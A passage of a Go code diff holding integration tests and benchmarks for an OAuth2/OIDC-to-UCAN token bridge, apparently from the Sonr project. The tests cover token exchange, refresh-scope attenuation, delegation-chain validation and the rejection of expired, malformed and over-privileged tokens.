case "urn:ietf:params:oauth:grant-type:token-exchange":
|
||||
suite.tokenExchange.HandleTokenExchange(w, r)
|
||||
default:
|
||||
http.Error(w, "unsupported_grant_type", http.StatusBadRequest)
|
||||
}
|
||||
}
|
||||
|
||||
// TestOIDCDiscovery tests OIDC discovery endpoint
|
||||
func (suite *OIDCUCANFlowTestSuite) TestOIDCDiscovery() {
|
||||
resp, err := http.Get(suite.testServer.URL + "/.well-known/openid-configuration")
|
||||
suite.Require().NoError(err)
|
||||
defer resp.Body.Close()
|
||||
|
||||
suite.Equal(http.StatusOK, resp.StatusCode)
|
||||
|
||||
var discovery map[string]interface{}
|
||||
err = json.NewDecoder(resp.Body).Decode(&discovery)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Verify required OIDC fields
|
||||
suite.Contains(discovery, "issuer")
|
||||
suite.Contains(discovery, "authorization_endpoint")
|
||||
suite.Contains(discovery, "token_endpoint")
|
||||
suite.Contains(discovery, "jwks_uri")
|
||||
suite.Contains(discovery, "scopes_supported")
|
||||
|
||||
// Verify UCAN-specific extensions
|
||||
scopes := discovery["scopes_supported"].([]interface{})
|
||||
suite.Contains(scopes, "vault:read")
|
||||
suite.Contains(scopes, "dwn:write")
|
||||
|
||||
grantTypes := discovery["grant_types_supported"].([]interface{})
|
||||
suite.Contains(grantTypes, "urn:ietf:params:oauth:grant-type:token-exchange")
|
||||
}
|
||||
|
||||
// TestAuthorizationCodeToUCAN tests authorization code flow that issues UCAN tokens
|
||||
func (suite *OIDCUCANFlowTestSuite) TestAuthorizationCodeToUCAN() {
|
||||
// Step 1: Create authorization code
|
||||
authCode := "test-auth-code"
|
||||
userDID := "did:sonr:user123"
|
||||
scopes := []string{"openid", "vault:read", "dwn:write"}
|
||||
|
||||
// Store auth code (in real flow, this happens during authorize)
|
||||
suite.tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
|
||||
TokenID: authCode,
|
||||
TokenType: "authorization_code",
|
||||
ClientID: "test-client",
|
||||
UserDID: userDID,
|
||||
Scopes: scopes,
|
||||
ExpiresAt: time.Now().Add(10 * time.Minute),
|
||||
})
|
||||
|
||||
// Step 2: Exchange authorization code for tokens
|
||||
req := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(
|
||||
"grant_type=authorization_code&code="+authCode+"&client_id=test-client",
|
||||
))
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req.SetBasicAuth("test-client", "test-secret")
|
||||
|
||||
w := httptest.NewRecorder()
|
||||
suite.handleToken(w, req)
|
||||
|
||||
suite.Equal(http.StatusOK, w.Code)
|
||||
|
||||
var tokenResp map[string]interface{}
|
||||
err := json.NewDecoder(w.Body).Decode(&tokenResp)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Verify response contains UCAN token
|
||||
suite.Contains(tokenResp, "access_token")
|
||||
suite.Contains(tokenResp, "ucan_token")
|
||||
suite.Contains(tokenResp, "token_type")
|
||||
suite.Equal("Bearer", tokenResp["token_type"])
|
||||
|
||||
// Step 3: Verify UCAN token structure
|
||||
ucanTokenStr, ok := tokenResp["ucan_token"].(string)
|
||||
suite.True(ok, "UCAN token should be a string")
|
||||
suite.NotEmpty(ucanTokenStr)
|
||||
|
||||
// Verify UCAN can be parsed (basic validation)
|
||||
suite.Contains(ucanTokenStr, ".") // JWT format
|
||||
}
|
||||
|
||||
// TestTokenExchangeFlow tests RFC 8693 token exchange
|
||||
func (suite *OIDCUCANFlowTestSuite) TestTokenExchangeFlow() {
|
||||
// Setup: Create an access token
|
||||
accessToken := "test-access-token"
|
||||
userDID := "did:sonr:user456"
|
||||
|
||||
suite.tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
|
||||
TokenID: accessToken,
|
||||
TokenType: "access_token",
|
||||
AccessToken: accessToken,
|
||||
ClientID: "test-client",
|
||||
UserDID: userDID,
|
||||
Scopes: []string{"vault:read", "dwn:read"},
|
||||
ExpiresAt: time.Now().Add(time.Hour),
|
||||
UCANToken: "dummy.ucan.token",
|
||||
})
|
||||
|
||||
// Perform token exchange: Access Token → UCAN
|
||||
exchangeReq := handlers.TokenExchangeRequest{
|
||||
GrantType: "urn:ietf:params:oauth:grant-type:token-exchange",
|
||||
SubjectToken: accessToken,
|
||||
SubjectTokenType: "urn:ietf:params:oauth:token-type:access_token",
|
||||
RequestedTokenType: "urn:x-oath:params:oauth:token-type:ucan",
|
||||
Scope: "vault:read", // Request subset of scopes
|
||||
}
|
||||
|
||||
body, _ := json.Marshal(exchangeReq)
|
||||
req := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(string(body)))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.SetBasicAuth("test-client", "test-secret")
|
||||
|
||||
w := httptest.NewRecorder()
|
||||
suite.tokenExchange.HandleTokenExchange(w, req)
|
||||
|
||||
suite.Equal(http.StatusOK, w.Code)
|
||||
|
||||
var exchangeResp handlers.TokenExchangeResponse
|
||||
err := json.NewDecoder(w.Body).Decode(&exchangeResp)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Verify exchange response
|
||||
suite.NotEmpty(exchangeResp.AccessToken)
|
||||
suite.Equal("urn:x-oath:params:oauth:token-type:ucan", exchangeResp.IssuedTokenType)
|
||||
suite.Equal("Bearer", exchangeResp.TokenType)
|
||||
suite.Equal("vault:read", exchangeResp.Scope)
|
||||
}
|
||||
|
||||
// TestRefreshTokenWithUCANChain tests refresh token flow with UCAN delegation chains
|
||||
func (suite *OIDCUCANFlowTestSuite) TestRefreshTokenWithUCANChain() {
|
||||
// Setup: Create refresh token
|
||||
refreshToken := "test-refresh-token"
|
||||
userDID := "did:sonr:user789"
|
||||
|
||||
suite.tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
|
||||
TokenID: refreshToken,
|
||||
TokenType: "refresh_token",
|
||||
RefreshToken: refreshToken,
|
||||
ClientID: "test-client",
|
||||
UserDID: userDID,
|
||||
Scopes: []string{"vault:read", "vault:write", "dwn:read"},
|
||||
ExpiresAt: time.Now().Add(30 * 24 * time.Hour),
|
||||
})
|
||||
|
||||
// First refresh - maintain all scopes
|
||||
req1 := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(
|
||||
"grant_type=refresh_token&refresh_token="+refreshToken,
|
||||
))
|
||||
req1.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req1.SetBasicAuth("test-client", "test-secret")
|
||||
|
||||
w1 := httptest.NewRecorder()
|
||||
suite.handleToken(w1, req1) // Use handleToken instead, which routes to refreshHandler
|
||||
|
||||
// Debug: print response if not OK
|
||||
if w1.Code != http.StatusOK {
|
||||
suite.T().Logf("Refresh token response: %s", w1.Body.String())
|
||||
}
|
||||
|
||||
suite.Equal(http.StatusOK, w1.Code)
|
||||
|
||||
var resp1 handlers.RefreshTokenResponse
|
||||
err := json.NewDecoder(w1.Body).Decode(&resp1)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
suite.NotEmpty(resp1.AccessToken)
|
||||
suite.NotEmpty(resp1.UCANToken)
|
||||
suite.Contains(resp1.Scope, "vault:read")
|
||||
suite.Contains(resp1.Scope, "vault:write")
|
||||
|
||||
// Second refresh - attenuate scopes (reduce permissions)
|
||||
newRefreshToken := resp1.RefreshToken
|
||||
if newRefreshToken == "" {
|
||||
newRefreshToken = refreshToken // Use original if not rotated
|
||||
}
|
||||
|
||||
req2 := httptest.NewRequest("POST", "/oauth/token", strings.NewReader(
|
||||
"grant_type=refresh_token&refresh_token="+newRefreshToken+"&scope=vault:read",
|
||||
))
|
||||
req2.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
req2.SetBasicAuth("test-client", "test-secret")
|
||||
|
||||
w2 := httptest.NewRecorder()
|
||||
suite.handleToken(w2, req2) // Use handleToken instead
|
||||
|
||||
// Debug: print response if not OK
|
||||
if w2.Code != http.StatusOK {
|
||||
suite.T().Logf("Second refresh response: %s", w2.Body.String())
|
||||
}
|
||||
|
||||
// Should succeed with reduced scopes
|
||||
suite.Equal(http.StatusOK, w2.Code)
|
||||
|
||||
var resp2 handlers.RefreshTokenResponse
|
||||
err = json.NewDecoder(w2.Body).Decode(&resp2)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
suite.Equal("vault:read", resp2.Scope) // Only requested scope
|
||||
suite.NotContains(resp2.Scope, "vault:write") // Write permission removed
|
||||
}
|
||||
|
||||
// TestCrossModuleAuthorization tests authorization across multiple modules
|
||||
func (suite *OIDCUCANFlowTestSuite) TestCrossModuleAuthorization() {
|
||||
// Create UCAN token with cross-module capabilities
|
||||
userDID := "did:sonr:user-cross"
|
||||
clientDID := "did:sonr:client-cross"
|
||||
|
||||
// Map OAuth scopes to multiple module capabilities
|
||||
scopes := []string{"vault:read", "dwn:write", "service:manage", "did:write"}
|
||||
|
||||
// Create delegation with cross-module permissions
|
||||
ucanToken, err := suite.ucanDelegator.CreateDelegation(
|
||||
userDID,
|
||||
clientDID,
|
||||
scopes,
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
suite.NotNil(ucanToken)
|
||||
|
||||
// Verify token contains attenuations for all modules
|
||||
suite.Require().NotEmpty(ucanToken.Attenuations)
|
||||
|
||||
// Check that each module has appropriate capabilities
|
||||
moduleCapabilities := make(map[string][]string)
|
||||
for _, att := range ucanToken.Attenuations {
|
||||
scheme := att.Resource.GetScheme()
|
||||
actions := att.Capability.GetActions()
|
||||
moduleCapabilities[scheme] = append(moduleCapabilities[scheme], actions...)
|
||||
}
|
||||
|
||||
// Verify all modules are represented
|
||||
suite.Contains(moduleCapabilities, "vault")
|
||||
suite.Contains(moduleCapabilities, "dwn")
|
||||
suite.Contains(moduleCapabilities, "service")
|
||||
suite.Contains(moduleCapabilities, "did")
|
||||
|
||||
// Verify appropriate actions per module
|
||||
suite.Contains(moduleCapabilities["vault"], "read")
|
||||
suite.Contains(moduleCapabilities["dwn"], "write")
|
||||
suite.Contains(moduleCapabilities["did"], "write")
|
||||
}
|
||||
|
||||
// TestDelegationChainValidation tests validation of UCAN delegation chains
|
||||
func (suite *OIDCUCANFlowTestSuite) TestDelegationChainValidation() {
|
||||
signer := suite.mockSigner
|
||||
|
||||
// Create initial delegation: User → Client A
|
||||
userDID := "did:sonr:user-chain"
|
||||
clientA := "did:sonr:client-a"
|
||||
|
||||
token1, err := signer.CreateDelegationToken(
|
||||
userDID,
|
||||
clientA,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
nil, // No proofs for initial delegation
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Create second delegation: Client A → Client B (with attenuation)
|
||||
clientB := "did:sonr:client-b"
|
||||
token2, err := signer.CreateDelegationToken(
|
||||
clientA,
|
||||
clientB,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"}, // Reduced permissions
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)}, // Include proof
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// Validate delegation chain
|
||||
err = signer.ValidateDelegationChain([]string{token1, token2})
|
||||
suite.NoError(err, "Valid delegation chain should pass validation")
|
||||
|
||||
// Test invalid chain (trying to escalate privileges)
|
||||
invalidToken, err := signer.CreateDelegationToken(
|
||||
clientB,
|
||||
"did:sonr:client-c",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "delete"}}, // Escalation!
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token2)},
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err) // Token creation succeeds
|
||||
|
||||
// But validation should fail due to privilege escalation
|
||||
err = signer.ValidateDelegationChain([]string{token1, token2, invalidToken})
|
||||
suite.Error(err, "Chain with privilege escalation should fail validation")
|
||||
}
|
||||
|
||||
// TestPerformanceBenchmark tests authorization performance
|
||||
func (suite *OIDCUCANFlowTestSuite) TestPerformanceBenchmark() {
|
||||
iterations := 100
|
||||
maxDuration := 50 * time.Millisecond // Target: < 50ms per operation
|
||||
|
||||
userDID := "did:sonr:perf-user"
|
||||
clientDID := "did:sonr:perf-client"
|
||||
scopes := []string{"vault:read", "dwn:write"}
|
||||
|
||||
// Benchmark UCAN token creation
|
||||
start := time.Now()
|
||||
for i := 0; i < iterations; i++ {
|
||||
_, err := suite.ucanDelegator.CreateDelegation(
|
||||
userDID,
|
||||
clientDID,
|
||||
scopes,
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
}
|
||||
avgCreation := time.Since(start) / time.Duration(iterations)
|
||||
|
||||
suite.Less(avgCreation, maxDuration,
|
||||
"Average UCAN creation time (%v) should be less than %v", avgCreation, maxDuration)
|
||||
|
||||
// Benchmark token validation
|
||||
signer := suite.mockSigner
|
||||
testToken, _ := signer.CreateDelegationToken(
|
||||
userDID,
|
||||
clientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
start = time.Now()
|
||||
for i := 0; i < iterations; i++ {
|
||||
_, err := signer.VerifySignature(testToken)
|
||||
suite.Require().NoError(err)
|
||||
}
|
||||
avgValidation := time.Since(start) / time.Duration(iterations)
|
||||
|
||||
suite.Less(avgValidation, maxDuration,
|
||||
"Average UCAN validation time (%v) should be less than %v", avgValidation, maxDuration)
|
||||
|
||||
// Log performance metrics
|
||||
suite.T().Logf("Performance Metrics:")
|
||||
suite.T().Logf(" UCAN Creation: %v avg", avgCreation)
|
||||
suite.T().Logf(" UCAN Validation: %v avg", avgValidation)
|
||||
}
|
||||
|
||||
// TestSecurityAudit performs security validation of delegation chains
|
||||
func (suite *OIDCUCANFlowTestSuite) TestSecurityAudit() {
|
||||
signer := suite.mockSigner
|
||||
|
||||
// Test 1: Expired token rejection
|
||||
expiredToken, err := signer.CreateDelegationToken(
|
||||
"did:sonr:user",
|
||||
"did:sonr:client",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
-1*time.Hour, // Already expired
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
_, err = signer.VerifySignature(expiredToken)
|
||||
suite.Error(err, "Expired token should fail verification")
|
||||
|
||||
// Test 2: Malformed token rejection
|
||||
malformedToken := "not.a.valid.token"
|
||||
_, err = signer.VerifySignature(malformedToken)
|
||||
suite.Error(err, "Malformed token should fail verification")
|
||||
|
||||
// Test 3: Token replay protection
|
||||
validToken, err := signer.CreateDelegationToken(
|
||||
"did:sonr:user",
|
||||
"did:sonr:client",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
suite.Require().NoError(err)
|
||||
|
||||
// First use should succeed
|
||||
_, err = signer.VerifySignature(validToken)
|
||||
suite.NoError(err)
|
||||
|
||||
// Multiple uses should also succeed (tokens are bearer tokens)
|
||||
// But in production, nonce/jti tracking would prevent replay
|
||||
_, err = signer.VerifySignature(validToken)
|
||||
suite.NoError(err)
|
||||
|
||||
// Test 4: Scope boundary enforcement
|
||||
err = suite.ucanDelegator.ValidateDelegation(
|
||||
&ucan.Token{
|
||||
Issuer: "did:sonr:user",
|
||||
Audience: "did:sonr:client",
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "user"},
|
||||
},
|
||||
},
|
||||
},
|
||||
[]string{"vault:write"}, // Requesting more than granted
|
||||
)
|
||||
suite.Error(err, "Should reject request for unpermitted scope")
|
||||
}
|
||||
|
||||
func TestOIDCUCANFlowSuite(t *testing.T) {
|
||||
suite.Run(t, new(OIDCUCANFlowTestSuite))
|
||||
}
|
||||
@@ -1,632 +0,0 @@
|
||||
package integration
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/require"
|
||||
|
||||
"github.com/sonr-io/sonr/bridge/handlers"
|
||||
"github.com/sonr-io/sonr/crypto/ucan"
|
||||
didtypes "github.com/sonr-io/sonr/x/did/types"
|
||||
svctypes "github.com/sonr-io/sonr/x/svc/types"
|
||||
)
|
||||
|
||||
// perfTestDIDKeeper implements DIDKeeperInterface for performance tests
|
||||
type perfTestDIDKeeper struct {
|
||||
didDocuments map[string]*didtypes.DIDDocument
|
||||
}
|
||||
|
||||
func (m *perfTestDIDKeeper) GetDIDDocument(ctx context.Context, did string) (*didtypes.DIDDocument, error) {
|
||||
if doc, ok := m.didDocuments[did]; ok {
|
||||
return doc, nil
|
||||
}
|
||||
return nil, fmt.Errorf("DID document not found: %s", did)
|
||||
}
|
||||
|
||||
func (m *perfTestDIDKeeper) GetVerificationMethod(ctx context.Context, did string, methodID string) (*didtypes.VerificationMethod, error) {
|
||||
doc, err := m.GetDIDDocument(ctx, did)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, vm := range doc.VerificationMethod {
|
||||
if vm.Id == methodID {
|
||||
return vm, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("verification method not found")
|
||||
}
|
||||
|
||||
// createTestDIDKeeper creates a mock DID keeper with test DIDs
|
||||
func createTestDIDKeeper() *perfTestDIDKeeper {
|
||||
pubKey, _, _ := ed25519.GenerateKey(rand.Reader)
|
||||
|
||||
return &perfTestDIDKeeper{
|
||||
didDocuments: map[string]*didtypes.DIDDocument{
|
||||
"did:sonr:test-user": {
|
||||
Id: "did:sonr:test-user",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:test-user#keys-1",
|
||||
Controller: "did:sonr:test-user",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: base64.StdEncoding.EncodeToString(pubKey),
|
||||
},
|
||||
},
|
||||
},
|
||||
"did:sonr:test-client": {
|
||||
Id: "did:sonr:test-client",
|
||||
VerificationMethod: []*didtypes.VerificationMethod{
|
||||
{
|
||||
Id: "did:sonr:test-client#keys-1",
|
||||
Controller: "did:sonr:test-client",
|
||||
VerificationMethodKind: "Ed25519VerificationKey2020",
|
||||
PublicKeyMultibase: base64.StdEncoding.EncodeToString(pubKey),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkUCANCreation benchmarks UCAN token creation performance
|
||||
func BenchmarkUCANCreation(b *testing.B) {
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
delegator := handlers.NewUCANDelegator(signer)
|
||||
|
||||
userDID := "did:sonr:bench-user"
|
||||
clientDID := "did:sonr:bench-client"
|
||||
scopes := []string{"vault:read", "dwn:write", "service:read"}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
_, err := delegator.CreateDelegation(
|
||||
userDID,
|
||||
clientDID,
|
||||
scopes,
|
||||
time.Now().Add(time.Hour),
|
||||
)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkUCANSigning benchmarks UCAN token signing performance
|
||||
func BenchmarkUCANSigning(b *testing.B) {
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
|
||||
// Create template token
|
||||
token := &ucan.Token{
|
||||
Issuer: "did:sonr:bench-user",
|
||||
Audience: "did:sonr:bench-client",
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
NotBefore: time.Now().Unix(),
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
_, err := signer.Sign(token)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkUCANVerification benchmarks UCAN token verification performance
|
||||
func BenchmarkUCANVerification(b *testing.B) {
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
|
||||
// Create test token
|
||||
token := &ucan.Token{
|
||||
Issuer: "did:sonr:bench-user",
|
||||
Audience: "did:sonr:bench-client",
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
NotBefore: time.Now().Unix(),
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
signedToken, err := signer.Sign(token)
|
||||
require.NoError(b, err)
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
_, err := signer.VerifySignature(signedToken)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkOAuth2ScopeMapping benchmarks scope to UCAN mapping performance
|
||||
func BenchmarkOAuth2ScopeMapping(b *testing.B) {
|
||||
scopeMapper := handlers.NewScopeMapper()
|
||||
|
||||
scopes := []string{"openid", "profile", "vault:read", "vault:write", "dwn:read", "dwn:write", "service:manage"}
|
||||
userDID := "did:sonr:bench-user"
|
||||
clientID := "bench-client"
|
||||
resourceContext := map[string]string{
|
||||
"vault_address": "vault:test",
|
||||
"dwn_id": "dwn:test",
|
||||
"service_id": "service:test",
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
attenuations := scopeMapper.MapToUCAN(scopes, userDID, clientID, resourceContext)
|
||||
if len(attenuations) == 0 {
|
||||
b.Fatal("No attenuations generated")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkDelegationChainValidation benchmarks delegation chain validation
|
||||
func BenchmarkDelegationChainValidation(b *testing.B) {
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
|
||||
// Create delegation chain: User → Client A → Client B → Client C
|
||||
userDID := "did:sonr:bench-user"
|
||||
clientA := "did:sonr:bench-client-a"
|
||||
clientB := "did:sonr:bench-client-b"
|
||||
clientC := "did:sonr:bench-client-c"
|
||||
|
||||
token1, _ := signer.CreateDelegationToken(
|
||||
userDID,
|
||||
clientA,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write"}},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
token2, _ := signer.CreateDelegationToken(
|
||||
clientA,
|
||||
clientB,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)},
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
token3, _ := signer.CreateDelegationToken(
|
||||
clientB,
|
||||
clientC,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: userDID},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token2)},
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
tokenChain := []string{token1, token2, token3}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
err := signer.ValidateDelegationChain(tokenChain)
|
||||
if err != nil {
|
||||
b.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkTokenExchange benchmarks OAuth2 token exchange performance
|
||||
func BenchmarkTokenExchange(b *testing.B) {
|
||||
clientStore := NewMockClientStore()
|
||||
tokenStore := NewMockTokenStore()
|
||||
|
||||
// Setup test client
|
||||
clientStore.clients["bench-client"] = &handlers.OAuth2Client{
|
||||
ClientID: "bench-client",
|
||||
ClientSecret: "bench-secret",
|
||||
AllowedScopes: []string{"vault:read", "dwn:write"},
|
||||
Metadata: map[string]string{
|
||||
"client_did": "did:sonr:bench-client",
|
||||
},
|
||||
}
|
||||
|
||||
// Setup existing access token
|
||||
tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
|
||||
TokenID: "bench-access-token",
|
||||
TokenType: "access_token",
|
||||
AccessToken: "bench-access-token",
|
||||
ClientID: "bench-client",
|
||||
UserDID: "did:sonr:bench-user",
|
||||
Scopes: []string{"vault:read", "dwn:write"},
|
||||
ExpiresAt: time.Now().Add(time.Hour),
|
||||
UCANToken: "dummy.ucan.token",
|
||||
})
|
||||
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
delegator := handlers.NewUCANDelegator(signer)
|
||||
exchanger := handlers.NewTokenExchangeHandler(delegator, signer, tokenStore, clientStore)
|
||||
|
||||
req := &handlers.TokenExchangeRequest{
|
||||
GrantType: "urn:ietf:params:oauth:grant-type:token-exchange",
|
||||
SubjectToken: "bench-access-token",
|
||||
SubjectTokenType: "urn:ietf:params:oauth:token-type:access_token",
|
||||
RequestedTokenType: "urn:x-oath:params:oauth:token-type:ucan",
|
||||
Scope: "vault:read",
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
// Create HTTP request/response for benchmarking
|
||||
reqBody := fmt.Sprintf("grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=%s&subject_token_type=urn:ietf:params:oauth:token-type:access_token&client_id=test-client", req.SubjectToken)
|
||||
httpReq := httptest.NewRequest("POST", "/oauth2/token-exchange", strings.NewReader(reqBody))
|
||||
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
|
||||
recorder := httptest.NewRecorder()
|
||||
exchanger.HandleTokenExchange(recorder, httpReq)
|
||||
|
||||
if recorder.Code != http.StatusOK {
|
||||
b.Fatalf("Token exchange failed: %d", recorder.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkRefreshToken benchmarks refresh token performance
|
||||
func BenchmarkRefreshToken(b *testing.B) {
|
||||
clientStore := NewMockClientStore()
|
||||
tokenStore := NewMockTokenStore()
|
||||
|
||||
// Setup test client
|
||||
clientStore.clients["bench-client"] = &handlers.OAuth2Client{
|
||||
ClientID: "bench-client",
|
||||
ClientSecret: "bench-secret",
|
||||
AllowedScopes: []string{"vault:read", "dwn:write"},
|
||||
Metadata: map[string]string{
|
||||
"client_did": "did:sonr:bench-client",
|
||||
},
|
||||
}
|
||||
|
||||
// Setup refresh token
|
||||
tokenStore.StoreToken(context.Background(), &handlers.StoredToken{
|
||||
TokenID: "bench-refresh-token",
|
||||
TokenType: "refresh_token",
|
||||
RefreshToken: "bench-refresh-token",
|
||||
ClientID: "bench-client",
|
||||
UserDID: "did:sonr:bench-user",
|
||||
Scopes: []string{"vault:read", "dwn:write"},
|
||||
ExpiresAt: time.Now().Add(30 * 24 * time.Hour),
|
||||
})
|
||||
|
||||
signer, _ := handlers.NewBlockchainUCANSigner(nil, "did:sonr:oauth-provider")
|
||||
delegator := handlers.NewUCANDelegator(signer)
|
||||
refresher := handlers.NewRefreshTokenHandler(delegator, signer, tokenStore, clientStore)
|
||||
|
||||
req := &handlers.RefreshTokenRequest{
|
||||
GrantType: "refresh_token",
|
||||
RefreshToken: "bench-refresh-token",
|
||||
Scope: "vault:read",
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
b.ReportAllocs()
|
||||
|
||||
for i := 0; i < b.N; i++ {
|
||||
// Create HTTP request for benchmarking
|
||||
reqBody := fmt.Sprintf("grant_type=refresh_token&refresh_token=%s&client_id=bench-client", req.RefreshToken)
|
||||
httpReq := httptest.NewRequest("POST", "/oauth2/refresh", strings.NewReader(reqBody))
|
||||
httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
|
||||
recorder := httptest.NewRecorder()
|
||||
